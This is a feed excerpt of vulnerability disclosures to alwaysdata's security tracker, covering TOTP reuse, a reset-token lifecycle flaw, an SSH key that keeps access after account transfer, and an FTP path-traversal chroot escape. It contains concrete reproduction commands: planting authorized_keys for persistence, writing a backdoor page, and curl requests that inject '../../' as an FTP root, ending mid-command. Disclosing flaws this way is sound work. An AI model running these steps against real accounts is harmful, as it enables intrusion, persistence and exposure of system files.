<pre class="code"> A default address that would collide with an existing record in the shared zone should be rejected using the same ownership check that control 9d shows you already implement on the other path.</pre>

<p>
 3. Reject any account name that would collide with an existing generated record in the zone rather than relying solely on a static prefix list.
</p>

<p>
4. Restore a released hostname to its rightful owner when a colliding account is renamed or deleted, as demonstrated in step 8.
</p>

<p>
5. Consider not sharing one password across web, <acronym title="File Transfer Protocol">FTP</acronym>, <acronym title="Secure Shell">SSH</acronym> and MySQL. 
</p>
<pre class="code"> Separating service credentials would ensure that capturing one service credential does not automatically provide access to the broader hosting account.</pre>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/488">
    <title>FS#488: TOTP Missing Single Use Enforcement</title>
    <link>https://security.alwaysdata.com/task/488</link>
    <dc:date>2026-09-20T15:01:19Z</dc:date>
    <dc:creator>Huzkail</dc:creator>
     <description>

Hi,



I identified a vulnerability in the admin panel&amp;#039;s TOTP implementation that allows the same OTP to be successfully reused multiple times within the server&amp;#039;s approximately 90-second acceptance window.



I understand that similar TOTP-related reports have previously been submitted and closed as duplicate or invalid. In particular, in report &amp;#160;FS#204&amp;#160; – “Expired TOTP Code Accepted – Broken 2FA Validation,” the following explanation was provided:



“We do accept OTP that are slightly expired to accommodate for network or human latency, as suggested in RFC 6238 Section 5.2.”



I agree that accepting a TOTP from a previous time step can be legitimate. Authenticator applications typically generate a new TOTP every 30 seconds, while the server may allow a limited tolerance window to account for network latency, clock differences, or transmission delays.



RFC 6238 Section 5.2 explicitly acknowledges this requirement:



“A validation system SHOULD typically set a policy for an acceptable OTP transmission delay window for validation.”



It further explains that the validator may compare the submitted OTP against previous timestamps within the permitted transmission-delay window. Therefore, I understand the reasoning behind allowing an OTP to remain acceptable beyond its exact 30-second generation window.



However, the vulnerability I am reporting is not simply that an older TOTP remains valid within the configured acceptance window. The issue is that after a TOTP has already been successfully used for authentication, the exact same TOTP can be reused multiple times to perform additional successful logins and establish new authenticated sessions.



RFC 6238 Section 5.2 explicitly addresses this behavior:



“The verifier MUST NOT accept the second attempt of the OTP after the successful validation”



The RFC explains that this requirement ensures one-time-only use of an OTP.



The same OTP can continue producing successful authentications until it eventually falls outside the server&amp;#039;s acceptance window. This is different from accepting an unused OTP from a previous time step to accommodate latency.



Therefore, I am not disputing the server&amp;#039;s use of a tolerance window. The specific issue being reported is the lack of single-use enforcement after successful TOTP validation.



Once a TOTP has successfully authenticated a user, subsequent authentication attempts using that same TOTP should be rejected, regardless of whether the code is still within the server&amp;#039;s configured time tolerance.



I therefore request that the finding be reviewed specifically as a TOTP replay / missing single-use enforcement vulnerability, rather than solely as an expired-TOTP validation issue, and that server-side replay protection be implemented in accordance with RFC 6238 Section 5.2. I am not attaching any PoC or evidence because this issue is well know by you team but still if you require PoC let know I have a prepared script and screenshots to demonstrate it.

</description>
    <content:encoded><![CDATA[
<p>
Hi,
</p>

<p>
I identified a vulnerability in the admin panel&#039;s TOTP implementation that allows the same OTP to be successfully reused multiple times within the server&#039;s approximately 90-second acceptance window.
</p>

<p>
I understand that similar TOTP-related reports have previously been submitted and closed as duplicate or invalid. In particular, in report <del>&#160;<a href="https://security.alwaysdata.com/task/204?feed_type=rss1&amp;topic=edit" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#204</a>&#160;</del> – “Expired TOTP Code Accepted – Broken 2FA Validation,” the following explanation was provided:
</p>

<p>
“We do accept OTP that are slightly expired to accommodate for network or human latency, as suggested in <acronym title="Request for Comments (Internet Standards)">RFC</acronym> 6238 Section 5.2.”
</p>

<p>
I agree that accepting a TOTP from a previous time step can be legitimate. Authenticator applications typically generate a new TOTP every 30 seconds, while the server may allow a limited tolerance window to account for network latency, clock differences, or transmission delays.
</p>

<p>
<acronym title="Request for Comments (Internet Standards)">RFC</acronym> 6238 Section 5.2 explicitly acknowledges this requirement:
</p>

<p>
“A validation system SHOULD typically set a policy for an acceptable OTP transmission delay window for validation.”
</p>

<p>
It further explains that the validator may compare the submitted OTP against previous timestamps within the permitted transmission-delay window. Therefore, I understand the reasoning behind allowing an OTP to remain acceptable beyond its exact 30-second generation window.
</p>

<p>
However, the vulnerability I am reporting is not simply that an older TOTP remains valid within the configured acceptance window. The issue is that after a TOTP has already been successfully used for authentication, the exact same TOTP can be reused multiple times to perform additional successful logins and establish new authenticated sessions.
</p>

<p>
<acronym title="Request for Comments (Internet Standards)">RFC</acronym> 6238 Section 5.2 explicitly addresses this behavior:
</p>

<p>
“The verifier MUST NOT accept the second attempt of the OTP after the successful validation”
</p>

<p>
The <acronym title="Request for Comments (Internet Standards)">RFC</acronym> explains that this requirement ensures one-time-only use of an OTP.
</p>

<p>
The same OTP can continue producing successful authentications until it eventually falls outside the server&#039;s acceptance window. This is different from accepting an unused OTP from a previous time step to accommodate latency.
</p>

<p>
Therefore, I am not disputing the server&#039;s use of a tolerance window. The specific issue being reported is the lack of single-use enforcement after successful TOTP validation.
</p>

<p>
Once a TOTP has successfully authenticated a user, subsequent authentication attempts using that same TOTP should be rejected, regardless of whether the code is still within the server&#039;s configured time tolerance.
</p>

<p>
I therefore request that the finding be reviewed specifically as a TOTP replay / missing single-use enforcement vulnerability, rather than solely as an expired-TOTP validation issue, and that server-side replay protection be implemented in accordance with <acronym title="Request for Comments (Internet Standards)">RFC</acronym> 6238 Section 5.2. I am not attaching any PoC or evidence because this issue is well know by you team but still if you require PoC let know I have a prepared script and screenshots to demonstrate it.<br />
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/483">
    <title>FS#483: Account transfer leaves previous owner with permanent unrevocable SSH access</title>
    <link>https://security.alwaysdata.com/task/483</link>
    <dc:date>2026-09-16T16:11:56Z</dc:date>
    <dc:creator>Prahara S</dc:creator>
     <description>

# alwaysdata — Account transfer leaves the previous owner with permanent, unrevocable SSH access



Researcher: (submit via security.alwaysdata.com task)Target: https://admin.alwaysdata.com/ssh/ (panel) + ssh-&amp;lt;account&amp;gt;.alwaysdata.netSeverity: Critical (CVSS 3.1 ≈ 9.1 – AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)Date: 2026-09-16



—



## Summary



An alwaysdata account can be transferred from one profile to another (`Transfers → Transfer a → account`).When the account changes hands, the previous owner keeps full SSH shell access to it — provided theyplanted an SSH public key while they still owned the account.



The key survives the ownership change, is not visible anywhere in the new owner&amp;#039;s panel or in the API,and keeps working after the new owner rotates the SSH user&amp;#039;s password. The SSH user also cannot bedeleted — the panel renders the delete control disabled with `title=&amp;quot;Impossible deletion&amp;quot;` — so the newowner has no way inside the platform to remove the previous owner&amp;#039;s access.



Net effect: the new owner receives an account that a third party they know nothing about can still loginto, read, and write.



## Affected asset



- `https://admin.alwaysdata.com/transfer/` — account transfer flow- `https://admin.alwaysdata.com/ssh/` and `https://admin.alwaysdata.com/ssh/&amp;lt;id&amp;gt;/` — SSH user management- `ssh-&amp;lt;account&amp;gt;.alwaysdata.net` — SSH endpoint- Underlying defect: `~/.ssh/authorized_keys` of the account&amp;#039;s SSH user is account content that survives

the ownership change, while the management surface exposes only `name / password / home_directory /
shell / can_use_password / annotation` (verified against `https://api.alwaysdata.com/v1/ssh/doc/`).
There is **no field anywhere for SSH public keys**.


 ## Reproduction



Two accounts, both owned by me, on the same platform. No third-party data is involved.



Roles: A = the victim (new owner), B = the previous owner (`adsecb01`, account id 499971).



1. As B, add my SSH public key to the account&amp;#039;s SSH user:

 ```
 ssh B@ssh-adsecb01.alwaysdata.net      # password login
 mkdir -p ~/.ssh &amp;amp;&amp;amp; chmod 700 ~/.ssh
 echo &amp;quot;ssh-ed25519 AAAA...C1lZDI1NTE5AAAAI... stale-access-test&amp;quot; &amp;gt;&amp;gt; ~/.ssh/authorized_keys
 chmod 600 ~/.ssh/authorized_keys
 ```
 Verify key-only login works (no password):
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net id
 → uid=547923(adsecb01) gid=501971(adsecb01) groups=501971(adsecb01)
 ```


 2. As B, transfer the account to A: `Transfers → Transfer a → account → new owner: A&amp;#039;s email`.

 As **A**, accept it: `Transfers` → Accept → tick *Special conditions (shared hosting)* and
 *Terms of use* → Submit.
 → `Transfers` shows &amp;quot;No pending transfer&amp;quot; and A&amp;#039;s `Subscriptions` now lists `adsecb01`.


 3. The panel access of B is correctly revoked (B&amp;#039;s account selector is empty, none of B&amp;#039;s pages

 mention `adsecb01` any more) — **but the key still logs in**:
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net id
 → uid=547923(adsecb01) ...
 ```


 4. A hardens the account the only way the panel allows: `SSH users → adsecb01 → set a new password →

 Submit`. The old password stops working:
 ```
 ssh B@ssh-adsecb01.alwaysdata.net   # password auth with the old password
 → Permission denied, please try again.
 ```
 …and the planted key **still works**:
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net &amp;quot;echo KEY_STILL_WORKS_AFTER_ROTATION&amp;quot;
 → KEY_STILL_WORKS_AFTER_ROTATION
 ```


 5. There is no way for A to remove it from the panel:


 the `SSH users` row for `adsecb01` — the user whose name matches the account, i.e. the one carrying




     the planted key — renders its delete control as

   `&amp;lt;i class=&amp;quot;far fa-trash-alt disabled&amp;quot; alt=&amp;quot;Impossible deletion&amp;quot; title=&amp;quot;Impossible deletion&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;`
   with **no delete link at all**, and this stays disabled even after A adds a second SSH user
   (`adsecb01_safe`), whose own delete link *is* active. So the primary SSH user cannot be removed by
   the owner, ever, through the panel;
 - `https://admin.alwaysdata.com/ssh/537923/` offers only *Name / Password / Home directory / Shell /
   Enable password-based login / Annotation* — no key management;
 - the `ssh` API resource (`https://api.alwaysdata.com/v1/ssh/doc/`) exposes `id, href, name, password,
   home_directory, shell, can_use_password, annotation` — no key-related field.
 The single remaining remediation is to log in over SSH and empty `~/.ssh/authorized_keys` by hand —
 which presupposes the new owner already knows a foreign key is there, and nothing in the client area,
 the transfer notification, the SSH user page or the API tells them that.


 6. Proof of actual read/write on the new owner&amp;#039;s data — A writes files, B reads/writes with the key only:

 ```
 # as A (new owner, with the rotated password)
 echo &amp;#039;SECRET-OF-NEW-OWNER&amp;#039; &amp;gt; ~/newowner_private.txt
 echo &amp;#039;NEW-OWNER-DEPLOYMENT&amp;#039; &amp;gt; ~/www/deployed_by_new_owner.html
 # as B (previous owner, no password, key only)
 cat ~/newowner_private.txt          → SECRET-OF-NEW-OWNER
 echo &amp;#039;&amp;lt;h1&amp;gt;PWNED-BY-PREVIOUS-OWNER&amp;lt;/h1&amp;gt;&amp;#039; &amp;gt; ~/www/prev_owner_backdoor.html
 ```
 The planted file is served publicly from the new owner&amp;#039;s domain:
 ```
 curl https://adsecb01.alwaysdata.net/prev_owner_backdoor.html
 → 200 &amp;lt;h1&amp;gt;PWNED-BY-PREVIOUS-OWNER&amp;lt;/h1&amp;gt;
 ```


 ## Impact



A previous owner retains persistent, password-independent, panel-invisible shell access to an accountthat now belongs to someone else. From that position they can read, modify or delete the new owner&amp;#039;s files,databases, mail configuration and deployed code; run arbitrary processes under the account; plant webbackdoors reachable over the account&amp;#039;s public domain; and re-establish access at will.



The compromise is designed-in by the platform, not by user error: the new owner sees the SSH user, cannotdelete it (&amp;quot;Impossible deletion&amp;quot;), has no UI or API to inspect its authorized keys, and rotating thepassword — the natural harden-after-receiving-an-account action — does not revoke the attacker&amp;#039;s key.Nothing in the client area signals that a third party still holds working credentials.



This is the same class as two reports you already fixed and paid:- &amp;#160;FS#139&amp;#160; — *Session Persistence After Subdomain Reuse or Transfer Leads to Email Account Takeover*- &amp;#160;FS#294&amp;#160; — *Persistent Owner Access Leads to Mailing Takeover After Domain Transfer*



Both relied on the same principle: an ownership change must terminate the previous owner&amp;#039;s access.The transfer of an account (rather than a subdomain or a mailing) still does not do that for SSH keys.



## Recommendation



1. On account transfer, revoke the previous owner&amp;#039;s credentials: clear (or rotate) the account&amp;#039;s SSH

 `authorized_keys`, and/or force regeneration of the account&amp;#039;s SSH users and their passwords.


2. Expose SSH public keys as first-class objects (field on the SSH user, panel UI + `ssh` API resource)

 so the owner can see and delete every key that grants access.


3. Allow deleting/replacing the last SSH user (currently blocked as &amp;quot;Impossible deletion&amp;quot;), or at minimum

 allow clearing its authorized keys.


4. Notify the new owner when an account arrives with pre-existing SSH keys, and record a transfer-time

 event in `Logs` that lists the credentials that were active at handover.


 ## Notes on testing discipline



- All testing used two accounts I own; no other customer&amp;#039;s data was accessed. The key, the files and the

web backdoor live on my own free-tier accounts and can be left in place for your retest.


- No automated scanners were used, no DoS, no third-party assets.

</description>
    <content:encoded><![CDATA[
<p>
# alwaysdata — Account transfer leaves the previous owner with permanent, unrevocable <acronym title="Secure Shell">SSH</acronym> access
</p>

<p>
<strong>Researcher:</strong> (submit via security.alwaysdata.com task)<br /><strong>Target:</strong> <a href="https://admin.alwaysdata.com/ssh/" class="urlextern" title="https://admin.alwaysdata.com/ssh/"  rel="nofollow">https://admin.alwaysdata.com/ssh/</a> (panel) + ssh-&lt;account&gt;.alwaysdata.net<br /><strong>Severity:</strong> Critical (CVSS 3.1 ≈ 9.1 – AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)<br /><strong>Date:</strong> 2026-09-16
</p>

<p>
—
</p>

<p>
## Summary
</p>

<p>
An alwaysdata account can be transferred from one profile to another (`Transfers → Transfer a → account`).<br />When the account changes hands, the previous owner keeps <strong>full <acronym title="Secure Shell">SSH</acronym> shell access</strong> to it — provided they<br />planted an <acronym title="Secure Shell">SSH</acronym> public key while they still owned the account.
</p>

<p>
The key survives the ownership change, is <strong>not visible anywhere in the new owner&#039;s panel or in the <acronym title="Application Programming Interface">API</acronym></strong>,<br />and <strong>keeps working after the new owner rotates the <acronym title="Secure Shell">SSH</acronym> user&#039;s password</strong>. The <acronym title="Secure Shell">SSH</acronym> user also <strong>cannot be<br />deleted</strong> — the panel renders the delete control disabled with `title=&quot;Impossible deletion&quot;` — so the new<br />owner has no way inside the platform to remove the previous owner&#039;s access.
</p>

<p>
Net effect: the new owner receives an account that a third party they know nothing about can still log<br />into, read, and write.
</p>

<p>
## Affected asset
</p>

<p>
- `<a href="https://admin.alwaysdata.com/transfer/" class="urlextern" title="https://admin.alwaysdata.com/transfer/"  rel="nofollow">https://admin.alwaysdata.com/transfer/</a>` — account transfer flow<br />- `<a href="https://admin.alwaysdata.com/ssh/" class="urlextern" title="https://admin.alwaysdata.com/ssh/"  rel="nofollow">https://admin.alwaysdata.com/ssh/</a>` and `<a href="https://admin.alwaysdata.com/ssh/" class="urlextern" title="https://admin.alwaysdata.com/ssh/"  rel="nofollow">https://admin.alwaysdata.com/ssh/</a>&lt;id&gt;/` — <acronym title="Secure Shell">SSH</acronym> user management<br />- `ssh-&lt;account&gt;.alwaysdata.net` — <acronym title="Secure Shell">SSH</acronym> endpoint<br />- Underlying defect: `~/.ssh/authorized_keys` of the account&#039;s <acronym title="Secure Shell">SSH</acronym> user is account content that survives
</p>
<pre class="code">the ownership change, while the management surface exposes only `name / password / home_directory /
shell / can_use_password / annotation` (verified against `https://api.alwaysdata.com/v1/ssh/doc/`).
There is **no field anywhere for SSH public keys**.</pre>

<p>
 ## Reproduction
</p>

<p>
Two accounts, both owned by me, on the same platform. No third-party data is involved.
</p>

<p>
Roles: <strong>A = the victim</strong> (new owner), <strong>B = the previous owner</strong> (`adsecb01`, account id 499971).
</p>

<p>
1. As <strong>B</strong>, add my <acronym title="Secure Shell">SSH</acronym> public key to the account&#039;s <acronym title="Secure Shell">SSH</acronym> user:
</p>
<pre class="code"> ```
 ssh B@ssh-adsecb01.alwaysdata.net      # password login
 mkdir -p ~/.ssh &amp;&amp; chmod 700 ~/.ssh
 echo &quot;ssh-ed25519 AAAA...C1lZDI1NTE5AAAAI... stale-access-test&quot; &gt;&gt; ~/.ssh/authorized_keys
 chmod 600 ~/.ssh/authorized_keys
 ```
 Verify key-only login works (no password):
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net id
 → uid=547923(adsecb01) gid=501971(adsecb01) groups=501971(adsecb01)
 ```</pre>

<p>
 2. As <strong>B</strong>, transfer the account to A: `Transfers → Transfer a → account → new owner: A&#039;s email`.
</p>
<pre class="code"> As **A**, accept it: `Transfers` → Accept → tick *Special conditions (shared hosting)* and
 *Terms of use* → Submit.
 → `Transfers` shows &quot;No pending transfer&quot; and A&#039;s `Subscriptions` now lists `adsecb01`.</pre>

<p>
 3. The panel access of <strong>B</strong> is correctly revoked (B&#039;s account selector is empty, none of B&#039;s pages
</p>
<pre class="code"> mention `adsecb01` any more) — **but the key still logs in**:
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net id
 → uid=547923(adsecb01) ...
 ```</pre>

<p>
 4. <strong>A</strong> hardens the account the only way the panel allows: `<acronym title="Secure Shell">SSH</acronym> users → adsecb01 → set a new password →
</p>
<pre class="code"> Submit`. The old password stops working:
 ```
 ssh B@ssh-adsecb01.alwaysdata.net   # password auth with the old password
 → Permission denied, please try again.
 ```
 …and the planted key **still works**:
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net &quot;echo KEY_STILL_WORKS_AFTER_ROTATION&quot;
 → KEY_STILL_WORKS_AFTER_ROTATION
 ```</pre>

<p>
 5. There is no way for <strong>A</strong> to remove it from the panel:
</p>
<ol>
<li class="level1"><div class="li"> the `<acronym title="Secure Shell">SSH</acronym> users` row for `adsecb01` — the user whose name matches the account, i.e. the one carrying</div>
</li>
</ol>

<p>
     the planted key — renders its delete control as
</p>
<pre class="code">   `&lt;i class=&quot;far fa-trash-alt disabled&quot; alt=&quot;Impossible deletion&quot; title=&quot;Impossible deletion&quot;&gt;&lt;/i&gt;`
   with **no delete link at all**, and this stays disabled even after A adds a second SSH user
   (`adsecb01_safe`), whose own delete link *is* active. So the primary SSH user cannot be removed by
   the owner, ever, through the panel;
 - `https://admin.alwaysdata.com/ssh/537923/` offers only *Name / Password / Home directory / Shell /
   Enable password-based login / Annotation* — no key management;
 - the `ssh` API resource (`https://api.alwaysdata.com/v1/ssh/doc/`) exposes `id, href, name, password,
   home_directory, shell, can_use_password, annotation` — no key-related field.</pre>
<pre class="code"> The single remaining remediation is to log in over SSH and empty `~/.ssh/authorized_keys` by hand —
 which presupposes the new owner already knows a foreign key is there, and nothing in the client area,
 the transfer notification, the SSH user page or the API tells them that.</pre>

<p>
 6. Proof of actual read/write on the new owner&#039;s data — <strong>A</strong> writes files, <strong>B</strong> reads/writes with the key only:
</p>
<pre class="code"> ```
 # as A (new owner, with the rotated password)
 echo &#039;SECRET-OF-NEW-OWNER&#039; &gt; ~/newowner_private.txt
 echo &#039;NEW-OWNER-DEPLOYMENT&#039; &gt; ~/www/deployed_by_new_owner.html</pre>
<pre class="code"> # as B (previous owner, no password, key only)
 cat ~/newowner_private.txt          → SECRET-OF-NEW-OWNER
 echo &#039;&lt;h1&gt;PWNED-BY-PREVIOUS-OWNER&lt;/h1&gt;&#039; &gt; ~/www/prev_owner_backdoor.html
 ```
 The planted file is served publicly from the new owner&#039;s domain:
 ```
 curl https://adsecb01.alwaysdata.net/prev_owner_backdoor.html
 → 200 &lt;h1&gt;PWNED-BY-PREVIOUS-OWNER&lt;/h1&gt;
 ```</pre>

<p>
 ## Impact
</p>

<p>
A previous owner retains <strong>persistent, password-independent, panel-invisible shell access</strong> to an account<br />that now belongs to someone else. From that position they can read, modify or delete the new owner&#039;s files,<br />databases, mail configuration and deployed code; run arbitrary processes under the account; plant web<br />backdoors reachable over the account&#039;s public domain; and re-establish access at will.
</p>

<p>
The compromise is designed-in by the platform, not by user error: the new owner sees the <acronym title="Secure Shell">SSH</acronym> user, cannot<br />delete it (&quot;Impossible deletion&quot;), has no UI or <acronym title="Application Programming Interface">API</acronym> to inspect its authorized keys, and rotating the<br />password — the natural harden-after-receiving-an-account action — does not revoke the attacker&#039;s key.<br />Nothing in the client area signals that a third party still holds working credentials.
</p>

<p>
This is the same class as two reports you already fixed and paid:<br />- <del>&#160;<a href="https://security.alwaysdata.com/task/139?feed_type=rss1&amp;topic=edit" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#139</a>&#160;</del> — *Session Persistence After Subdomain Reuse or Transfer Leads to Email Account Takeover*<br />- <del>&#160;<a href="https://security.alwaysdata.com/task/294?feed_type=rss1&amp;topic=edit" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#294</a>&#160;</del> — *Persistent Owner Access Leads to Mailing Takeover After Domain Transfer*
</p>

<p>
Both relied on the same principle: an ownership change must terminate the previous owner&#039;s access.<br />The transfer of an <strong>account</strong> (rather than a subdomain or a mailing) still does not do that for <acronym title="Secure Shell">SSH</acronym> keys.
</p>

<p>
## Recommendation
</p>

<p>
1. On account transfer, revoke the previous owner&#039;s credentials: clear (or rotate) the account&#039;s <acronym title="Secure Shell">SSH</acronym>
</p>
<pre class="code"> `authorized_keys`, and/or force regeneration of the account&#039;s SSH users and their passwords.</pre>

<p>
2. Expose <acronym title="Secure Shell">SSH</acronym> public keys as first-class objects (field on the <acronym title="Secure Shell">SSH</acronym> user, panel UI + `ssh` <acronym title="Application Programming Interface">API</acronym> resource)
</p>
<pre class="code"> so the owner can see and delete every key that grants access.</pre>

<p>
3. Allow deleting/replacing the last <acronym title="Secure Shell">SSH</acronym> user (currently blocked as &quot;Impossible deletion&quot;), or at minimum
</p>
<pre class="code"> allow clearing its authorized keys.</pre>

<p>
4. Notify the new owner when an account arrives with pre-existing <acronym title="Secure Shell">SSH</acronym> keys, and record a transfer-time
</p>
<pre class="code"> event in `Logs` that lists the credentials that were active at handover.</pre>

<p>
 ## Notes on testing discipline
</p>

<p>
- All testing used two accounts I own; no other customer&#039;s data was accessed. The key, the files and the
</p>
<pre class="code">web backdoor live on my own free-tier accounts and can be left in place for your retest.</pre>

<p>
- No automated scanners were used, no DoS, no third-party assets.
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/480">
    <title>FS#480: When a user requests a password reset token (Token #1) and subsequently requests a second reset toke</title>
    <link>https://security.alwaysdata.com/task/480</link>
    <dc:date>2026-09-14T09:18:03Z</dc:date>
    <dc:creator>Ganesh RK</dc:creator>
     <description>

Vulnerability Title: Password Reset Token Lifecycle Failure: Previously Issued Tokens Remain Active After a New Reset Request



Severity: High (CVSS 7.4 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)



CWE Classification:



CWE-640: Weak Password Recovery Mechanism for Forgotten Password



CWE-384: Session Fixation / Improper Token Invalidation



OverviewWhen a user requests a password reset token (Token #1) and subsequently requests a second reset token (Token #2), the application fails to invalidate or revoke the first token. As evidenced by the provided email logs, both Token #1 and Token #2 remain active concurrently. This allows an attacker who captures or harvests an older email link to successfully bypass security controls and modify the user’s password even after newer reset tokens have been generated.



Detailed Explanation &amp;amp; Why It Is a Valid BugThe Core Flaw (Token Lifecycle Mismanagement): Secure application design dictates that generating a new password reset request must instantly deprecate, expire, or invalidate any pre-existing unexpired tokens for that user account.



The Logic Breakdown: The backend handles token generation by inserting or updating a row without revoking prior active identifiers or anchoring validity strictly to the latest issuance context. As seen in the provided delivery logs, multiple valid reset URLs can exist simultaneously in an inbox.



Security Impact: If an attacker intercepts an initial password reset notification (via email logs, historical proxy caches, or referrer leaks), and the victim later requests a new link thinking they are safe, the old token remains fully functional. This breaks single-use and lifecycle expectations, enabling persistent unauthorized account takeover (ATO) vectors.



Steps to ReproduceInitiate a password reset request for a target account to capture Token #1 via email.



Do not use the link immediately. Trigger a second password reset request for the same account to receive Token #2.



Take the older reset link corresponding to Token #1 and attempt to submit a new password through it.



Observe that the server accepts Token #1 successfully and changes the password, proving that generating a new token failed to invalidate the prior one.



CVSS v3.1 Vector StringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N



References &amp;amp; Bug Bounty PrecedentsCWE-640 Definition: Weak Password Recovery Mechanism for Forgotten Password (Mitre Common Weakness Enumeration).



CVE-2026-53646: Recent vulnerability entry detailing application endpoints reusing existing password reset tokens instead of invalidating them on subsequent requests.



HackerOne / Community Disclosures: Real-world vulnerability write-ups addressing Password Reset Token Invalidation Failures, where failing to rotate or revoke predecessor tokens allows token harvesting and compromises incident response workflows.



RemediationImmediate Token Revocation: Update the token generation controller logic so that any new request to /forgot-password automatically flags all existing active tokens for that user ID as expired or deletes them from the database.



Strict Single-Use Enforcement: Ensure tokens are strictly tied to a database state where issuance of a replacement row overwrites or invalidates historical tokens globally.

</description>
    <content:encoded><![CDATA[
<p>
Vulnerability Title: Password Reset Token Lifecycle Failure: Previously Issued Tokens Remain Active After a New Reset Request
</p>

<p>
Severity: High (CVSS 7.4 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
</p>

<p>
CWE Classification:
</p>

<p>
CWE-640: Weak Password Recovery Mechanism for Forgotten Password
</p>

<p>
CWE-384: Session Fixation / Improper Token Invalidation
</p>

<p>
Overview<br />When a user requests a password reset token (Token #1) and subsequently requests a second reset token (Token #2), the application fails to invalidate or revoke the first token. As evidenced by the provided email logs, both Token #1 and Token #2 remain active concurrently. This allows an attacker who captures or harvests an older email link to successfully bypass security controls and modify the user’s password even after newer reset tokens have been generated.
</p>

<p>
Detailed Explanation &amp; Why It Is a Valid Bug<br />The Core Flaw (Token Lifecycle Mismanagement): Secure application design dictates that generating a new password reset request must instantly deprecate, expire, or invalidate any pre-existing unexpired tokens for that user account.
</p>

<p>
The Logic Breakdown: The backend handles token generation by inserting or updating a row without revoking prior active identifiers or anchoring validity strictly to the latest issuance context. As seen in the provided delivery logs, multiple valid reset URLs can exist simultaneously in an inbox.
</p>

<p>
Security Impact: If an attacker intercepts an initial password reset notification (via email logs, historical proxy caches, or referrer leaks), and the victim later requests a new link thinking they are safe, the old token remains fully functional. This breaks single-use and lifecycle expectations, enabling persistent unauthorized account takeover (ATO) vectors.
</p>

<p>
Steps to Reproduce<br />Initiate a password reset request for a target account to capture Token #1 via email.
</p>

<p>
Do not use the link immediately. Trigger a second password reset request for the same account to receive Token #2.
</p>

<p>
Take the older reset link corresponding to Token #1 and attempt to submit a new password through it.
</p>

<p>
Observe that the server accepts Token #1 successfully and changes the password, proving that generating a new token failed to invalidate the prior one.
</p>

<p>
CVSS v3.1 Vector String<br />CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
</p>

<p>
References &amp; Bug Bounty Precedents<br />CWE-640 Definition: Weak Password Recovery Mechanism for Forgotten Password (Mitre Common Weakness Enumeration).
</p>

<p>
CVE-2026-53646: Recent vulnerability entry detailing application endpoints reusing existing password reset tokens instead of invalidating them on subsequent requests.
</p>

<p>
HackerOne / Community Disclosures: Real-world vulnerability write-ups addressing Password Reset Token Invalidation Failures, where failing to rotate or revoke predecessor tokens allows token harvesting and compromises incident response workflows.
</p>

<p>
Remediation<br />Immediate Token Revocation: Update the token generation controller logic so that any new request to /forgot-password automatically flags all existing active tokens for that user ID as expired or deletes them from the database.
</p>

<p>
Strict Single-Use Enforcement: Ensure tokens are strictly tied to a database state where issuance of a replacement row overwrites or invalidates historical tokens globally.<br />
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/479">
    <title>FS#479: FTP Root Directory Allows Chroot Escape and Server Filesystem Browsing</title>
    <link>https://security.alwaysdata.com/task/479</link>
    <dc:date>2026-09-13T07:17:44Z</dc:date>
    <dc:creator>Akash</dc:creator>
     <description>

Summary



The FTP user creation functionality allows an attacker to bypass the configured FTP Root directory restriction by supplying a path containing directory traversal sequences such as ../../.



The FTP configuration page explicitly states:



“Parent directories of the root directory will be neither accessible nor visible.”



However, this restriction can be bypassed because the supplied path is accepted and stored without validating or normalizing traversal sequences.



For example, configuring the FTP root directory as:



../../



results in a stored path similar to:



/home/brake/../../



When the FTP user subsequently connects, the effective root resolves outside the account&amp;#039;s home directory, allowing browsing of the server&amp;#039;s filesystem, including directories such as /etc, /home, /nfs, /proc, and /tmp.



In my testing, I was also able to retrieve /etc/passwd and upload a file to /tmp.



Steps to Reproduce1. Obtain a valid authenticated session



Set the required values:



COOKIE=&amp;#039;csrftoken=YOUR_CSRF_COOKIE; sessionid=YOUR_SESSIONID&amp;#039;BASE=&amp;#039;https://admin.alwaysdata.com&amp;#039;HOST=&amp;#039;ftp-brake.alwaysdata.net&amp;#039;PW=&amp;#039;SomeStrongPassw0rd!&amp;#039;2. Obtain a CSRF tokenTOKEN=$(curl -s -H &amp;quot;Cookie: $COOKIE&amp;quot; &amp;quot;$BASE/ftp/add/&amp;quot; \

| grep -o &amp;#039;name=&amp;quot;csrfmiddlewaretoken&amp;quot; value=&amp;quot;[^&amp;quot;]*&amp;quot;&amp;#039; \
| head -1 | cut -d&amp;#039;&amp;quot;&amp;#039; -f4)


 echo &amp;quot;$TOKEN&amp;quot;3. Create an FTP user using a traversal path



Create an FTP account with ../../ as its root directory:



curl -s -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; \


H &amp;quot;Cookie: $COOKIE&amp;quot; \

-data-urlencode &amp;quot;csrfmiddlewaretoken=$TOKEN&amp;quot; \

-data-urlencode &amp;quot;name=brake_pwn&amp;quot; \

-data-urlencode &amp;quot;password=$PW&amp;quot; \

-data-urlencode &amp;quot;path=../../&amp;quot; \

-data-urlencode &amp;quot;submit=&amp;quot; \




